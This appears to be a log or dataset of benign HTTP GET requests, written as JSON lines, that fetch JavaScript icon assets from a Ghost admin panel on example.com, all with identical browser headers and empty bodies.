{"method": "GET", "target": "/ghost/assets/badge-check-VTMH985H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ban-Dcu1gwnk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/waypoints-q7i1re5i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/file-pen-CDIBdMvj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/underline-iyhoxAXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/book-open-0h559276.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/rocket-CA4Xy7UD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ticket-DZPWSm3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/panel-right-DSxQPvgK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-filter-plus-DfUqgJ8X.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chart-no-axes-column-BrpLYwIe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/check-BiQqsmBo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chevron-left-wJGECQn7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chevron-right-vFyqDRE3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chevron-up-Ca2VI5ye.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-alert-C1QHFpHs.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/info-BifJoFuF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-x-C1RC-lFT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-question-mark-Cgm_Ty1J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-minus-BkihFWcb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/circle-fxmCMRvb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/clock-B9ZlYmYW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-C6dh2TtS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/cloud-off-DOHpaTme.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/code-DG4vO94L.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/coins-CumgzPZa.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/copy-3K3KXqHW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/credit-card-eZVjvrhJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pin-off-lnj6yrbM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/download-C43CSKLy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/ellipsis-DCpJZgxv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/external-link-CKnhHaI-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/eye-off-6sJT53Wg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/eye-BUSwIvtb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-wrap-D8X937cr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mouse-pointer-2-off-JHhWtGhM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/gift-CjBqHEmp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/globe-B4vZvmY9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/hash-By5cPrAh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/heart-CDBO0M2K.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/history-BLta4f7G.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-plus-CNwSXyN2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/image-DJkRwGFl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/plug-BeLrBarN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/inbox-COmMmFZS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/smartphone-j5_wyhqO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/layers-7kDTLSGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/link-CZvXk_iN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-filter-Bt2MgNgY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/map-pin-DPhi-Z-z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/loader-circle-DR6LgQk9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/lock-CJUB02yf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/log-out-ClF6eb3N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mouse-pointer-click-IX513WkU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-pen-DhntSZKe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-warning-BcU9ft9M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-x-CHliXg1j.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mail-PBEdl0JE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/megaphone-CACSVFEk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/menu-DwekVO1I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-circle-off-DoxKUv2y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-circle-Dkb2Sjq_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-square-off-Rea4Wik2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/message-square-DRPo5CWb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/minus-9ieoP52m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/panel-left-Dum5PjJB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pen-line-D0oKPczj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pen-i7U0QAik.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pencil-DZetlUon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pipette-B0ss10AX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/plus-B4c_-nfT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/rectangle-vertical-_u1GWlCm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-2-C4mzAnNo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/repeat-2-D9d_VFn2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/repeat-nLPwqdMF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/reply-BH3O9H3I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/search-Bl7qfg4J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/search-x-DYxBa1EF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
